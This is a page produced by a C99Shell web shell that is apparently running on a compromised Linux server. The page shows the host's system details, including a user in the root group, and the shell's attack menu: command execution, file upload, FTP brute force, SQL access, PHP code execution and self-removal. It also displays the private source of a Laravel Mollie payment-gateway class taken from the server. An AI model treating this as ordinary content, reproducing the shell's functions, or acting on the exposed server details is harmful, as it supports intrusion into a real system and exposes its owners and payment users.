!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/Modules/PaymentGateway/TopUpProvider/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MolliePayment.php (3.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\TopUpProvider;

use 
App\Models\BillingRequest;
use 
App\Models\Customer;
use 
App\Models\Number;
use 
App\Models\NumberRequest;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Log;
use 
Modules\PaymentGateway\Services\PaymentCredentials;

class 
MolliePayment implements PaymentInterface
{
    public 
$numberReq;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirectfalse;

    public function 
__construct()
    {

    }

    public function 
pay()
    {
        
// TODO: Implement pay() method.
    
}

    public function 
getCredentials()
    {
        
$credentialsPaymentCredentials::get();

        if (!isset(
$credentials->mollie_status) || !$credentials->mollie_api_key || $credentials->mollie_status != 'active') {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }
        return 
$credentials;
    }

    public function 
topUpRequest($topup_request){
        
$this->topup_request=$topup_request;
        return 
$this;
    }

    public function 
request($request)
    {
        
$this->request $request;
        return 
$this;
    }

    public function 
amount($amount)
    {
        
$this->amount $amount;
        return 
$this;
    }


    public function 
will_redirect()
    {
        
// TODO: Implement will_redirect() method.
        
return $this->will_redirect;
    }

    public function 
redirect_url()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->redirect_url;
    }
    public function 
return_view()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->return_view;
    }
    public function 
error_message()
    {
        
// TODO: Implement error_message() method.
        
return $this->error_message;
    }


    public function 
process()
    {
        
$mollieData $this->molliePayment($this->amount);
        if (
$mollieData && $mollieData->id) {
            
$this->redirect_url $mollieData->getCheckoutUrl();
            
$this->will_redirect true;
            
$this->return_view null;
        }
    }


    function 
molliePayment($amount)
    {

        
$credentials $this->getCredentials();

        if (!isset(
$credentials->mollie_status) || !$credentials->mollie_api_key || $credentials->mollie_status != 'active') {
            throw new 
\Exception(trans('Invalid Payment'));
        }

        
$mollie = new \Mollie\Api\MollieApiClient();
        
$mollie->setApiKey($credentials->mollie_api_key);
        
$payment $mollie->payments->create([
            
"amount" => [
                
"currency" => 'USD',
                
"value" => $amount ""
            
],
            
"description" => "For number upgrade #",
            
"redirectUrl" => route('paymentgateway::payment.number.mollie.success'),
            
"webhookUrl" => route('paymentgateway::payment.number.changenumber.mollie.webhook'),
        ]);

        return 
$payment;
    }

    public function 
processMollieSuccess()
    {
        return 
redirect()->route('customer.numbers.purchase')->with('success'trans('Congratulations! Your number successfully purchase'));
    }

    public function 
processMollieWebhook($credentialsRequest $request)
    {
        if (!isset(
$credentials->mollie_status) || !$credentials->mollie_api_key || $credentials->mollie_status != 'active') {
            
Log::info(trans('Invalid Payment'));
            exit();
        }

        
$mollie = new \Mollie\Api\MollieApiClient();
        
$mollie->setApiKey($credentials->mollie_api_key);
        
$payment $mollie->payments->get($request->id);

    }

}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--